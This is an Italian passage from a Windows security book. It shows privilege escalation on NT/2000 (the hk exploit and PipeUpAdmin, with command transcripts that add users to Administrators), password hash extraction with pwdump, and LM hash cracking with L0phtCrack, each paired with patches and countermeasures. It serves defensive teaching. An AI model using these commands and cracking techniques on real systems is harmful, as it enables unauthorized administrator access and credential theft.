Questa vulnerabilità di NT 4 è stata identificata dal gruppo RAZOR (`http://razor.bindview.com`) in una funzione dell'API LPC (*Local Procedure Call*) Ports, che consente la comunicazione tra thread e processi sullo stesso computer. Di norma, LPC Ports mette a disposizione un'interfaccia che consente a un thread server di fingersi un thread client che richiede servizi. LPC Ports esegue anche controlli di validità sulle richieste client per accertare la loro legittimità, ma un hacker che sia in grado di creare un thread server e un thread client potrebbe manomettere le procedure di invalidamento per "mascherare" il thread client come un utente qualsiasi, perfino SYSTEM. Il codice che dimostra questa vulnerabilità (chiamato `hk`) è disponibile all'indirizzo `http://www.nmrc.org` ed è utilizzato di seguito per illustrare la scalata dell'utente Mallory, un membro del gruppo Backup Operators dotato di autorizzazione di accesso, al gruppo Administrators.
Per prima cosa, mostriamo che Mallory è effettivamente un membro del gruppo Backup Operators e non di Administrators, utilizzando l'utility NTRK `whoami`:

```
C:\>whoami
[Group  1] = "IIS47\None"
[Group  2] = "Everyone"
[Group  3] = "BUILTIN\Users"
[Group  4] = "BUILTIN\Backup Operators"
. . .
```

Il codice seguente mostra che Mallory non può essere aggiunto ad Administrators:

```
C:\>net localgroup administrators mallory /add
System error 5 has occurred.

Access is denied.
```

Quindi eseguiamo lo stesso comando `net use` insieme allo strumento `hk`:

```
C:\>hk net localgroup administrators mallory /add
lsass pid & tid are: 47 - 48
NtImpersonateClientOfPort succeeded
Launching line was: net localgroup administrators mallory /add
Who do you want to be today?
```

Mallory è ora un membro del gruppo Administrators, come mostrato di seguito:

```
C:\>net localgroup administrators
Alias name      administrators
Comment         Members can fully administer the computer/domain

Members

-------------------------------------------------------------------------------
Administrator                    mallory
The command completed successfully.
```

Contromisure a Hk

Microsoft ha pubblicato un aggiornamento successivo al Service Pack 6a che modifica alla radice la funzione di validazione della chiamata all'API LPC Ports. Questo hotfix è disponibile nel Microsoft Security Bulletin MS00-003 all'indirizzo `http://www.microsoft.com/technet/security/bulletin/ms00-003.asp`.

Sottolineiamo ancora una volta che si tratta di una patch pubblicata dopo il Service Pack 6a. Quando si tratta di installare le patch di sicurezza, molte organizzazioni preferiscono aspettare il service pack successivo. Questo è assurdo, perché significa che la maggior parte delle loro macchine rimarrà probabilmente vulnerabile a questo attacco fino al rilascio del Service Pack 7. Queste organizzazioni resteranno vulnerabili fino a quando non sarà eseguito l'aggiornamento a Windows 2000. Vi consigliamo quindi di mantenere sempre il vostro sistema aggiornato con gli aggiornamenti pubblicati dopo l'uscita dei Service Pack.

La migliore contromisura per molti attacchi basati sulla scalata ai privilegi consiste nel limitare i logon interattivi. Questa contromisura di norma respingerà gli attacchi di tipo hk; purtroppo però hk funziona bene anche in modalità remota oltre che in quella interattiva. Ricorderete che abbiamo accennato al suo utilizzo in abbinamento con gli attacchi di attraversamento delle directory IIS nella parte precedente di questo capitolo, quando abbiamo spiegato che era possibile attivare hk tramite una sessione `netcat` remota per procedere alla scalata ai privilegi. Procuratevi la patch!

Previsione delle named pipe che eseguono un codice come SYSTEM

Diffusione:	*4*
Semplicità:	*7*
Impatto:	*10*
Fattore di rischio:	*7*

Scoperto da Mike Schiffman e segnalato su Bugtraq (ID 1535), questo metodo di scalata dei privilegi locali sfrutta la possibilità di prevedere la creazione delle named pipe quando Windows 2000 avvia servizi di sistema (come Server, Workstation, Avvisi e ClipBook, che si connettono all'interno dell'account SYSTEM). Prima dell'avvio di ogni servizio, viene creata sul lato server una named pipe con un nome di sequenza prevedibile, che può essere ottenuta dalla chiave `HKLM\System\CurrentControlSet\Control\ServiceCurrent` del Registro di sistema.

Qualunque utente Windows 2000 che abbia effettuato un accesso interattivo (compresi quindi gli utenti remoti di Terminal Server) può pertanto prevedere il nome di una delle named pipe successive, istanziarla e assumere il contesto di sicurezza di SYSTEM quando viene nuovamente avviata. Se alla named pipe viene aggiunto il codice arbitrario, esso verrà eseguito con privilegi SYSTEM, consentendo di effettuare praticamente qualsiasi operazione sul sistema locale, come per esempio aggiungere l'utente corrente al gruppo Administrators.

Sfruttare la vulnerabilità della prevedibilità delle named pipe è un gioco da ragazzi ricorrendo allo strumento *PipeUpAdmin* di Maceo, che aggiunge l'account dell'utente corrente al gruppo Administrators locale, come mostra l'esempio seguente. Questo esempio parte dal presupposto che l'utente jsmith sia autenticato con accesso interattivo a una console di comando e che sia membro del gruppo

Server Operators. Per prima cosa jsmith controlla l'appartenenza del gruppo locale Administrators:

```
C:\>net localgroup administrators
Alias name      administrators
Comment         Administrators have complete and unrestricted
                access to the computer/domain

Members

-----------------------------------------------------------------------
Administrator
The command completed successfully.
```

In seguito cerca di aggiungersi ad Administrators, ma riceve un messaggio di accesso negato perché non ha i necessari privilegi:

```
C:\>net localgroup administrators jsmith /add
System error 5 has occurred.

Access is denied.
```

Il nostro jsmith non è tuttavia ancora stato sconfitto. Scarica pipeUpAdmin da Internet (`http://www.dogmile.com/files`) e quindi lo esegue.

```
C:\>pipeupadmin
                              PipeUpAdmin
                       Maceo <maceo @ dogmile.com>
                 (C) Copyright 2000-2001 dogmile.com
The ClipBook service is not started.
More help is available by typing NET HELPMSG 3521.
Impersonating: SYSTEM
The account: FS-EVIL\jsmith
has been added to the Administrators group.
```

In seguito jsmith esegue il comando `net localgroup` e si trova esattamente nel punto in cui desiderava trovarsi:

```
C:\>net localgroup administrators
Alias name      administrators
Comment         Administrators have complete and unrestricted
                access to the computer/domain

Members

-----------------------------------------------------------------------
Administrator
jsmith
The command completed successfully.
```

Ora per abusare dei privilegi dell'equivalente di Administrator jsmith deve semplicemente scollegarsi e quindi ricollegarsi. Molte scalate dei privilegi seguono questa procedura, poiché Windows 2000 deve ricreare il token di accesso dell'utente corrente per aggiungere il SID della nuova appartenenza al gruppo: i token possono essere rinnovati utilizzando una chiamata API, oppure semplicemente scollegandosi e, quindi, autenticandosi nuovamente (per una descrizione dei token, si veda il Capitolo 2).

Osservate inoltre che lo strumento `PipeUpAdmin` deve essere eseguito con il contesto utente INTERACTIVE (ossia, è necessario essere collegati alla tastiera fisica o tramite una shell remota con lo stato INTERACTIVE, per esempio tramite i *Servizi terminal*); per questo motivo `PipeUpAdmin` non può essere eseguito tramite shell remote generate senza il SID INTERACTIVE nel token.

Patch contro la prevedibilità delle named pipe dei servizi

Microsoft ha rilasciato una patch che modifica le modalità con le quali lo snap in *Gestione controllo servizi* crea e posiziona le named pipe, disponibile all'indirizzo `http://www.microsoft.com/technet/security/bulletin/MS00-053.asp`. Questa patch non è inclusa nel Service Pack 1 di Windows 2000 ed è applicabile indipendentemente dalla presenza sugli host di SP1.

Ovviamente, i privilegi di accesso interattivo devono essere rigidamente limitati per qualunque sistema sul quale siano conservati dati riservati, poiché exploit come questi diventano molto più facili una volta conquistata questa importante base di appoggio. Per verificare i diritti di accesso interattivo in Windows 2000, eseguite l'applet *Criteri di protezione locali*, individuate il nodo *Criteri locali\Assegnazione diritti utente* e controllate a chi è assegnato il diritto *Accesso locale*.

Una novità in Windows 2000 risiede nella possibilità di applicare a molti di questi privilegi opzioni che permettono di escludere dai diritti gruppi o utenti specifici, come il diritto *Nega accesso locale*, mostrato nella figura seguente.

Di default, il gruppo Users e l'account Guest hanno i diritti Accesso locale *in Windows 2000 Professional e nella configurazione server autonomo di Windows 2000 Server. I controllori di dominio sono più restrittivi a causa del criterio Default Domain Controllers fornito con il prodotto (anche se tutti i gruppi Operator dispongono di questo diritto). Consigliamo vivamente di rimuovere in qualunque caso Users e Guest e di considerare con molta attenzione quali altri gruppi sarebbe meglio escludere da questo privilegio.*

Pilfering

Una volta ottenuto uno status equivalente a quello dell'account Administrator, gli hacker rivolgono tipicamente la loro attenzione alla possibilità di raccogliere più informazioni possibili da sfruttare per ulteriori azioni di conquista del sistema. Questo processo è chiamato *pilfering*.

Potreste chiedervi che senso può avere continuare a leggere questo capitolo se un hacker si è impadronito dell'utente Administrator del vostro sistema. In questi casi, a meno che non abbiate l'intenzione di ripulire completamente il server e installare tutto dall'inizio, sarà molto utile cercare di identificare quali risorse sono state effettivamente compromesse. Oppure, aspetto ancora più importante, l'intruso potrebbe essersi introdotto solamente in un segmento di minore importanza della rete; quindi potrebbe voler installare strumenti aggiuntivi per estendere la propria influenza. È molto importante e possibile riuscire a fermare i pirati che si sono intromessi nel sistema in questa fase. In questo paragrafo descriveremo nel dettaglio alcuni strumenti chiave e alcune tecniche che riescono a svolgere questi compiti.

Cattura degli hash delle password

Diffusione:	*8*
Semplicità:	*10*
Impatto:	*10*
Fattore di rischio:	*9*

Con ogni probabilità gli aggressori, dopo aver acquisito privilegi equivalenti a quelli di un amministratore, procederanno spediti verso gli hash delle password del sistema. Essi sono memorizzati nel SAM (*Security Accounts Manager*) di NT in Windows NT4 e versioni precedenti, e nella Active Directory sui controllori di dominio (DC) di Windows 2000 e versioni successive. Il SAM è il contenitore dei nomi utenti e delle password, in formato cifrato, di tutti gli utenti del sistema locale, oppure del dominio se il computer in oggetto è un domain controller.

Riuscire a ottenere questo file rappresenta il colpo di grazia dell'intrusione a un sistema Windows NT, equivalente al possesso di file */etc/passwd* nei sistemi UNIX. Anche se il SAM che l'hacker è in grado di ottenere è parte di un sistema NT standalone, esistono reali possibilità che il cracking di questo file possa rivelare anche le credenziali relative all'accesso a un controllore di dominio. Per questo motivo, un tool in grado di eseguire il cracking del SAM è anche uno di quelli più potenti per la scalata ai privilegi e lo sfruttamento delle relazioni di trust.

Acquisizione degli hash

Il primo passo in qualsiasi esercitazione di cracking delle password consiste nell'acquisire gli hash delle password. Tale obiettivo può essere raggiunto in diversi modi, che variano in base alla versione di Windows adottata.

Windows NT 4 e le versioni precedenti memorizzano i dati degli utenti in un file chiamato "SAM" all'interno della directory *%systemroot%\system32\config*. L'accesso a questa directory è bloccato finché il sistema operativo è in funzione. Il SAM è uno dei cinque principali costituenti del Registro di sistema di Windows NT. Il file è la rappresentazione fisica dei dati disponibili nelle chiavi `HKEY_LOCAL _MACHINE\SAM` del Registro. Queste chiavi non possono essere consultate da un qualunque utente, nemmeno dall'utente Administrator (tuttavia ricorrendo a qualche trucco e al servizio *Schedule* di-

venta possibile accedervi). L'unica eccezione a questa regola riguarda i controllori di dominio di Windows 2000 e versioni successive; in questo caso gli hash delle password sono custoditi nella Active Directory (*%windir%\NTDS\ntds.dit*). Con la combinazione di default di oggetti installati, le dimensioni di questo file si avvicinano ai 10 MB ed esso è in forma criptata, per cui è improbabile che gli aggressori lo acquisiscano per analizzarlo in modalità offline. Se non si tratta di un controllore di dominio, il file SAM è tuttora memorizzato in modo molto simile a come avveniva in Windows NT4.
Ora che sappiamo dove si trova il "tesoro", come possiamo appropriarcene? Ci sono quattro metodi fondamentali per ottenere gli hash delle password sui sistemi della famiglia NT:

- eseguire il boot sul sistema in oggetto, utilizzando un altro sistema operativo e copiando su un supporto rimuovibile il file contenente gli hash delle password;
- creare una copia di backup del file SAM creato dalla procedura di Windows NT Repair Disk Utility;
- utilizzare qualche strumento che resti in ascolto degli scambi di autenticazione;
- estrarre direttamente gli hash delle password dal file SAM o dall'Active Directory.

Riavviare in modalità DOS e ottenere il SAM è possibile, anche malgrado l'NTFS, utilizzando la venerabile utility NTFSDOS di `http://www.sysinternals.com/`.
Il file di backup di NT4 si trova in *\%systemroot%\repair\SAM._*; questo file contiene tutti gli hash degli utenti aggiornati al momento dell'ultimo utilizzo dell'utility Repair Disk (`rdisk`). In Windows 2000 e versioni superiori, l'applicazione di backup di Microsoft (`ntbackup.exe`) prevale sulla funzione Create Emergency Repair Disk e viene effettuata una copia di backup degli hash delle password, salvata nella cartella *%windir%\repair\RegBack*. Gli attacchi contro questa versione di backup del SAM sono infruttuosi, poiché questo file è elaborato con SYSKEY e i meccanismi per decriptare un file di questo tipo (a differenza di quanto avviene quando si cripta con `pwdump2` un SAM attivo) non sono stati resi pubblici.
Abbiamo parlato dell'intercettazione del traffico di autenticazione nella famiglia NT in "Intercettazione del traffico di scambio delle password sulla rete" nella prima parte di questo capitolo; pertanto rimane solo da parlare dell'"Estrazione degli hash delle password effettuata direttamente dal SAM o dalla Active Directory". Questo sarà l'argomento successivo.

Estrazione degli hash con pwdumpX

Con i privilegi dell'utente Administrator, gli hash delle password possono essere trasferiti direttamente dal Registro di sistema in un file simile a */etc/passwd* dei sistemi UNIX. Il programma in grado di effettuare questa operazione è chiamato `pwdump` ed è stato scritto da Jeremy Allison. Il codice sorgente è disponibile su diversi siti Internet, così come i file binari eseguibili per Windows. Le versioni recenti di L0phtCrack dispongono di una funzionalità interna che è in grado di effettuare le stesse operazioni di `pwdump`. Tuttavia il Service Pack 2 di Windows NT ha migliorato le funzioni di cifratura SYSKEY del file SAM, per cui né l'utility `pwdump`, né L0phtCrack sono in grado di aggirare questa nuova protezione (si veda il paragrafo di questo capitolo dedicato alle contromisure per il cracking delle password). SYSKEY è attualmente parte della configurazione di default per Windows 2000 (per ulteriori informazioni su SYSKEY, consultate l'articolo del Knowledge Base Q143475). Pertanto, il tool `pwdump` non è in grado di estrarre correttamente gli hash delle password dal Registro sui server Windows 2000 nella loro configurazione di default. Per effettuare questa operazione occorre un tool più potente.

Esiste anche una versione più avanzata di pwdump, scritta da Todd Sabin e chiamata pwdump2, in grado di aggirare SYSKEY. L'utility pwdump2 è disponibile all'indirizzo http://razio.bindview.com. In pratica questa utility si serve della tecnica dell'iniezione di codice nella libreria DLL (a cui abbiamo già accennato nella descrizione del programma getadmin), per caricare il proprio codice eseguibile nello spazio di memoria di un altro processo, che dispone di privilegi di accesso al sistema maggiori. Una volta trasferite in un processo a cui sono assegnate maggiori autorizzazioni, il codice dannoso può effettuare liberamente una chiamata API interna che accede alle password criptate con SYSKEY, senza che sia necessario decriptarle.
Al contrario di pwdump, pwdump2 deve essere avviato in modo interattivo. Inoltre è sempre necessario disporre dei privilegi di accesso dell'utente Administrator e la libreria samdump.dll fornita con pwdump2 deve essere disponibile.
Il processo di sistema che viene attaccato e invaso da pwdump2 è lsass.exe (*Local Security Authority Subsystem*). Il programma inserisce il proprio codice nello spazio di indirizzamento di lsass e nel contesto dell'utente. Un pwdump2 aggiornato effettua automaticamente l'enumerazione del LSASS PID, per cui l'enumerazione manuale dell'ID di processo (PID) LSASS non è necessaria (se la vostra versione di pwdump vi chiede di effettuarla, significa che avete una versione obsoleta). Inoltre, occorre la versione aggiornata di pwdump2 per scaricare gli hash a livello locale dai controllori di dominio, poiché essi si appoggiano ad Active Directory anziché al tradizionale SAM per la memorizzazione degli hash delle password.
Ebusiness technology, inc. ha rilasciato una versione modificata del tool originale pwdump2 di Todd Sabin, chiamata pwdump3e (http://www.ebiz-tech.com/html/pwdump.html). pwdump3e installa la DLL samdump come servizio al fine di estrarre gli hash in modalità remota tramite SMB (TCP 139 or 445). pwdump3e non è in grado di funzionare nei confronti del sistema locale.

La versione 4 di L0phtCrack è ora in grado di estrarre hash dal SAM e dalla Active Directory criptati con SYSKEY, ma funziona unicamente in modalità remota su sistemi non criptati con SYSKEY.

Contromisure all'utilizzo di pwdumpX

A patto che l'iniezione di codice nelle librerie DLL funzioni ancora in Windows, non ci sono difese contro pwdump2 o pwdump3; consolatevi pensando che pwdumpX necessita di privilegi di Administrator per essere eseguito. Se gli hacker hanno già conquistato questo vantaggio, è probabile che sul sistema locale ci siano poche altre operazioni che non hanno ancora realizzato (l'utilizzo degli hash delle password catturati per attaccare sistemi di fiducia è comunque differente, come vedrete tra breve).

Cracking delle password

Diffusione:	*8*
Semplicità:	*10*
Impatto:	*10*
Fattore di rischio:	*9*

Il nostro intrepido intruso ha dunque messo le mani sugli hash delle password. Un momento, però: non si dice in tutti i libri sulla crittografia che abbiamo letto che l'hashing è un processo di cifratura a senso unico? Se questi hash delle password

sono stati creati con un algoritmo dignitoso, dovrebbe essere impossibile derivare da essi le password in chiaro.
Purtroppo, grazie alla scelta di Microsoft di mantenere la compatibilità con il passato, la sicurezza dei file contenuti nel SAM è stata largamente compromessa utilizzando un algoritmo di hash che risale ai tempi di IBM LAN Manager di NT.
Nonostante da anni sia disponibile l'algoritmo NTLM, più sicuro e recente, proprietario di Windows NT, il sistema deve memorizzare l'hash LanManager per essere in grado di eseguire l'autenticazione di client Windows 9*x* e Windows per Workgroup. L'hash LM è tuttora memorizzato di default su Windows 2000 e versioni successive, allo scopo di assicurare la compatibilità con versioni precedenti di client non appartenenti alla famiglia NT. Il più debole algoritmo di hash LanManager è stato decifrato, per cui gli hash LanManager memorizzati nel SAM funzionano da tallone d'Achille che permette, nella maggior parte dei casi, di decifrare le password in modo abbastanza semplice, in base alla loro composizione. Il processo di derivazione delle password in chiaro a partire dagli hash è chiamato cracking delle password o, spesso, semplicemente cracking.
Il cracking delle password può sembrare una specie di operazione magica, ma in realtà è poco più di una identificazione delle password rapida e complessa. Una volta ottenuto l'algoritmo di hash lo si può utilizzare per calcolare l'hash da una lista di possibili valori di password (per esempio, tutte le parole di un dizionario) e confrontare il risultato ottenuto con l'hash conosciuto della password reale, estratto utilizzando `pwdumpX`. Se i due hash coincidono, allora la password è stata correttamente indovinata. Questa procedura viene generalmente eseguita in modalità non in linea, elaborando il file delle password che è stato ottenuto in precedenza; in questo modo il blocco dell'utente per eccesso di tentativi non è un problema e il programma di decifratura può continuare l'elaborazione per un tempo indefinito. Queste procedure di elaborazione e di confronto degli hash sono comunque costituite da algoritmi molto onerosi per le CPU ma, come abbiamo spiegato, le debolezze conosciute negli algoritmi di hash (come la relativa facilità di computazione dell'algoritmo LanManager) vengono sfruttate per velocizzare in modo significativo i tempi di elaborazione delle password. La ricerca della password risulta quindi essere un problema di tempo di elaborazione della CPU e di dimensione del dizionario delle parole di partenza.
In effetti, vi abbiamo già parlato in questo capitolo di L0phtCrack, uno dei più diffusi tool per il cracking dei file SAM eseguito allo scopo di rivelare le password. A quanto si dice, qualcuno è riuscito in sole 48 ore, con un Pentium II/300, a eseguire il crack del 90% delle password di una società di tecnologie di grandi dimensioni dotata di una solida politica di gestione delle password. La versione grafica di L0phtCrack è distribuita da @Stake, all'indirizzo `http://www.atstake.com/research/lc/index.html`. È disponibile gratuitamente una versione per la riga di comando. La versione più recente di questo strumento di cracking delle password è la 4, ed è quella illustrata in questo paragrafo.
Come abbiamo già visto, L0phtCrack può importare i dati contenuti nel SAM da diverse fonti: da un registro remoto, da file SAM grezzi, da file di NT4 SAM._ e da file di backup, restando in ascolto sul segmento di rete in attesa del transito di hash delle password; infine può importare dati, da file L0phtCrack (.lc e .lcs), e da file di output di `pwdumpX`.

Una volta che avete importato gli hash, dovete selezionare le opzioni di sessione nel menu *Session/Session Options File*. Qui potete scegliere se effettuare un attacco di tipo dizionario, a forza bruta, o ibrido, come mostrato nella Figura 5.7.

Auditing Options For This Session

Dictionary Crack

Enabled

Dictionary List

The Dictionary Crack tests for passwords that are the same as the words listed in the word file. This test is very fast and finds the weakest passwords.

Dictionary/Brute Hybrid Crack

Enabled

0 Characters to prepend

2 Characters to append

Common letter substitutions (much slower)

The Dictionary/Brute Hybrid Crack tests for passwords that are variations of the words in the word file. It finds passwords such as "Dana99" or "monkeys!". This test is fast and finds weak passwords.

Brute Force Crack

Enabled

Distributed

Part 1 Of 1

Character Set:

A - Z and 0 - 9

Custom Character Set (list each character):

The Brute Force Crack tests for passwords that are made up of the characters specified in the Character Set. It finds passwords such as "WeR3plt6s" or "vC5%69+12b". This test is slow and finds medium to strong passwords. Specify a character set with more characters to crack stronger passwords.

OK Cancel

Figura 5.7

Finestre di selezione delle opzioni di sessione di L0phtCrack 4.

Il crack con un dizionario è il più semplice di questi approcci. Esso legge una lista di termini e ne genera gli hash uno per volta, confrontandoli via via con la lista di hash. Sebbene questo confronto avvenga molto velocemente, possono essere individuate unicamente le password contenute nel dizionario fornito dall'aggressore.

Non utilizzate il dizionario di parole inglesi fornito assieme a LC4: abbiamo infatti notato che diverse parole sono assenti. All'indirizzo `http://coast.cs.purdue.edu/pub/dict/` *troverete esempi di dizionari e liste di parole per eseguire il crack.*

L'abilitazione dell'opzione *Brute Force Crack* (crack di tipo forza bruta) consente di tentare l'attacco utilizzando stringhe casuali, generate in base al set di caratteri selezionato, ma appesantisce notevolmente lo sforzo di elaborazione. L0phtCrack tenta innanzitutto di utilizzare il dizionario di parole specificato, ma questo ha poca importanza perché l'elaborazione può essere interrotta e ripresa successivamente dal punto in cui era stata bloccata. Esiste una pratica che è una via di mezzo tra l'attacco basato sul dizionario di parole e il *Brute Force Crack*: la funzione *Hybrid*. Questo tipo di attacco, detto "ibrido", consente di utilizzare il dizionario di parole al quale viene però accodato uno o più caratteri casuali in successione. Questa è una tecnica

comune tra gli utenti pigri che scelgono password come "prova123", in mancanza di combinazioni più originali.
Infine, in questa finestra potete scegliere di effettuare un crack distribuito, che sembrerebbe essere qualcosa di molto stravagante ma che in realtà prevede solo che LC4 suddivida gli hash delle password in diversi file (il numero lo specificherete voi stessi nelle finestre *Part X of X* situata nella parte inferiore della Figura 5.7). Potete anche scegliere di distribuire questi file su diverse macchine, eseguendo il crack in modo indipendente.
Inoltre, nel menu *Session*, potete decidere se desiderate tentare di effettuare il crack dell'hash LM o dell'hash NTLM. Poiché l'esecuzione del crack dell'hash LM è molto più veloce, provate prima a effettuare questa operazione.
Dopo aver selezionato le opzioni desiderate, è sufficiente scegliere *Session/Begin Audit* e il programma L0phtCrack inizierà a lavorare. Con la maggior parte degli hash che abbiamo ottenuto da aziende di grandi dimensioni nel corso delle nostre missioni di consulenza, le password nulle e le parole dei dizionari vengono rivelate istantaneamente, come si vede nella colonna *LM Password* della Figura 5.8. Questa figura mette anche in evidenza quanto sia semplice decifrare gli algoritmi LanManager. Questi sono infatti i primi a cadere rendendo praticamente inefficace la disponibilità del più forte algoritmo di hash di NT. Anche per le password che non vengono individuate immediatamente, come nel caso degli utenti "einhorn" e "finkle", la vulnerabilità dell'hash LanManager consente di individuare con facilità l'ottavo e i primi sette caratteri delle password, rispettivamente. Le password di einhorn e finkle cadranno probabilmente solo se sottoposte a un cracking di maggiore intensità (a questo punto abbiamo eseguito solo un cracking di tipo dizionario mostrato nella Figura 5.8).

@stake LC4 - [Untitled4]

File View Import Session Help

Domain	User Name	LM Password	<8	NTLM Password	Audit Time	Method
	Administrator					
	clueless	PASSWORD		password	0d 0h 0m 1s	Dictionary
	einhorn	???????T				
	finkle	1234567???????				
	Guest	* missing *		* missing *		
	IUSR_MIRAGE					
	IWAM_MIRAGE					
	SUPPORT_388945a0	* missing *				

DICTIONARY STATUS
words total 29156
words done 29156
% done 100.000%
BRUTE FORCE
time elapsed 0d 0h 0m 0s
time left Calculating -
% done
NUM

Figura 5.8
L0phtCrack in azione mentre effettua il cracking delle password. Le password deboli di LanMan sono più facili da indovinare, il che elimina la necessità di indovinare le password NTLM, definite in modo più criptico.

Poiché le informazioni risultanti dal crack delle password sono periodicamente salvate in file che hanno estensione .lc, il programma L0phtCrack può essere interrotto e riavviato successivamente, partendo dal punto in cui si è precedentemente fermato nell'elaborazione: è sufficiente utilizzare l'opzione *Open Session* del menu *File*.
Il programma grafico L0phtCrack è il miglior programma di crack delle password per Windows NT disponibile sul mercato, sia in termini di pura potenza, sia in ter-

mini di facilità di utilizzo. L'interfaccia grafica di L0phtCrack presenta però uno svantaggio: non è possibile creare script per il controllo automatico delle operazioni dell'applicazione. Esiste una vecchia versione 1.5 di L0phtCrack che funziona dalla riga di comando, disponibile insieme al suo codice sorgente sul sito di L0pht (chiamata `lc_cli.exe`), ma sono disponibili altri potenti strumenti di cracking a riga di comando. Il nostro programma preferito è John the Ripper, un programma di cracking delle password orientato essenzialmente all'utilizzo di un dizionario, scritto da Solar Designer e disponibile al sito `http://www.openwall.com/john`. Questo programma è uno strumento a riga di comando concepito in primo luogo per decifrare i file di password UNIX e degli hash LanManager di Windows NT. Oltre a essere uno strumento multipiattaforma, compatibile con diversi algoritmi di hash, John presenta il vantaggio di essere anche estremamente rapido e soprattutto gratuito. La grande quantità di opzioni che è in grado di gestire rende, però, questo strumento molto più difficile da apprendere rispetto a L0phtCrack; inoltre, poiché John è in grado di decifrare unicamente gli hash LanManager, le password che risultano dalla sua elaborazione non distinguono tra maiuscole e minuscole e possono non rispecchiare la reale combinazione di caratteri delle password da individuare.

Contromisure al cracking delle password

La migliore difesa contro gli attacchi di decodifica delle password stranamente non è di carattere tecnico, ma è comunque la strategia più difficile da adottare: utilizzare sempre buone password. La scelta di parole comuni, così come lo scrivere la propria password sul block notes della scrivania (o su un post-it!), dovrebbe essere una delle pratiche bandite dagli amministratori di sistema. Riteniamo che la spiegazione di alcune delle debolezze proprie degli algoritmi di hash delle password della famiglia Windows NT allarmerà non poco la vostra comunità di utenti.

Abbiamo parlato in precedenza della necessità, da parte di Windows NT, di utilizzare due diversi tipi di cifratura delle password: l'algoritmo di hash di LanManager e l'algoritmo di hash di Windows NT. Entrambi questi hash sono memorizzati all'interno del SAM. Come spiegheremo brevemente, l'hash LanManager viene creato con una tecnica che è intrinsecamente più debole (questa debolezza non è da imputare a Microsoft, poiché l'algoritmo LanManager è stato inizialmente sviluppato da IBM).

La debolezza più critica dell'hash LanManager risiede nella suddivisione della password in due metà composte ciascuna di sette caratteri. Per questo motivo una password di otto caratteri viene elaborata come due mezze password: la prima composta di sette caratteri e la seconda da uno solo. Strumenti come L0phtCrack, ovviamente, approfittano di questa debolezza per cercare di decifrare indipendentemente le due metà come se fossero due password separate. Scegliamo, per esempio, una password di dodici caratteri compatibili con i criteri di sicurezza imposti da Passfilt: "123456Qwerty". Quando questa password viene elaborata utilizzando l'algoritmo LanManager, per prima cosa è convertita in caratteri maiuscoli: "123456QWERTY". Se la password ha una lunghezza inferiore a quattordici caratteri, vengono aggiunti caratteri nulli al termine della stringa per raggiungere la lunghezza di quattordici: "123456QWERTY__". Prima di iniziare la cifratura della password, questa viene divisa in due stringhe di sette caratteri ciascuna: "123456Q" e "WERTY__". Viene calcolato l'hash di ciascuna di queste due metà e i risultati ottenuti sono concatenati: l'hash di "123456Q" è il seguente: 6BF11E04AFAB197F; quello di "WERTY__" è: 1E9FFDCC75575B15. L'hash LanManager risultante è, infatti, 6BF11E04AFAB197F1E9FFDCC75575B15.

La prima metà di questa password contiene una serie mista di caratteri alfanumerici: un attacco di tipo forza bruta (utilizzando l'opzione *Brute Force Attack* di

L0phtCrack) potrebbe richiedere al massimo ventiquattr'ore per decifrare la stringa corrispondente, in base alla potenza del computer a disposizione per effettuare l'elaborazione. La seconda metà dell'hash contiene solamente cinque caratteri alfanumerici e può essere decifrata in meno di sessanta secondi se l'elaborazione viene realizzata con un computer di classe Pentium.

Dopo aver individuato la mezza password corrispondente all'hash disponibile, quest'ultima viene visualizzata da L0phtCrack. A questo punto è possibile effettuare qualche tentativo mirato per indovinare con maggiore facilità la prima parte della password. La serie di caratteri "WERTY" suggerisce che la password è stata scelta utilizzando una serie di caratteri consecutivi sulla tastiera. Questo indizio ci ha indotto a prendere in considerazione altre possibili combinazioni di password: "QWERTYQWERTY", "POIUYQWERTY", "ASDFGHQWERTY", "YTREWQQWERTY" e, ovviamente, anche "123456QWERTY". Tutte queste parole possono essere registrate in un dizionario personalizzato, per poter essere utilizzate rapidamente con L0phtCrack. È possibile avviare una successiva sessione, che inizialmente prende in considerazione le password aggiunte al nostro dizionario.

Questo esempio mostra come sia relativamente facile riuscire a indovinare alcune password che all'apparenza sembrano veramente difficili da elaborare, utilizzando gli indizi disponibili dopo aver eseguito il cracking della seconda parte dell'hash LanManager. In questo caso possiamo affermare che password lunghe dodici o tredici caratteri sono addirittura meno sicure di una password lunga soli sette caratteri, sempre che la seconda parte della password contenga indizi sufficienti per cercare di indovinare la prima parte. Una password lunga otto caratteri generalmente non fornisce molte informazioni, ma in ogni caso è sempre meno sicura di una password lunga sette caratteri.

Per accertarvi che le password da voi scelte non vengano tradite immediatamente da questo tipo di attacchi, vi consigliamo di utilizzare password lunghe esattamente 7 o 14 caratteri: considerando che l'utente medio sarà tentato di scriversi da qualche parte una password lunga 14 caratteri, consigliamo di adottare in ogni caso una lunghezza di 7 caratteri.

Per rendere la vita veramente difficile ai pirati che utilizzano L0phtCrack, consigliamo di inserire a metà delle password almeno un carattere ASCII non stampabile, come per esempio Alt+255(tn) oppure Alt+129(tn). Anche se la password viene correttamente interpretata da L0phtCrack, questi caratteri non potranno essere visualizzati dalla sua interfaccia grafica. Dobbiamo riconoscere che l'utilizzo quotidiano di password di questo tipo potrebbe risultare piuttosto fastidioso, per la maggiore quantità di tempo e attenzione necessari per digitarla. Probabilmente non vale la pena utilizzare espedienti di questo tipo per proteggere utenti che non abbiano realmente accessi privilegiati al sistema. Per gli utenti che fanno parte dei gruppi di amministrazione e di servizio dovrebbe valere, invece, la considerazione opposta: l'utilizzo di caratteri ASCII non stampabili all'interno della password dovrebbe diventare uno standard.

Non dimenticate comunque di utilizzare Passfilt per potenziare i requisiti minimi di complessità della scelta delle password, come abbiamo già detto nel paragrafo "Attacchi SMB (Server Message Block)" nella prima parte di questo capitolo.

In Windows XP e .NET Server 2003, è possibile disattivare la memorizzazione dell'hash LM utilizzando l'impostazione della Security Policy "Network Security: Do Not Store LAN Manager Hash Value On Next Password Change". Sebbene questa operazione possa provocare problemi di compatibilità con le versioni precedenti in ambienti eterogenei con vari sistemi Windows, consigliamo caldamente di effettuarla.

LSADump

Diffusione:	*8*
Semplicità:	*10*
Impatto:	*10*
Fattore di rischio:	*9*

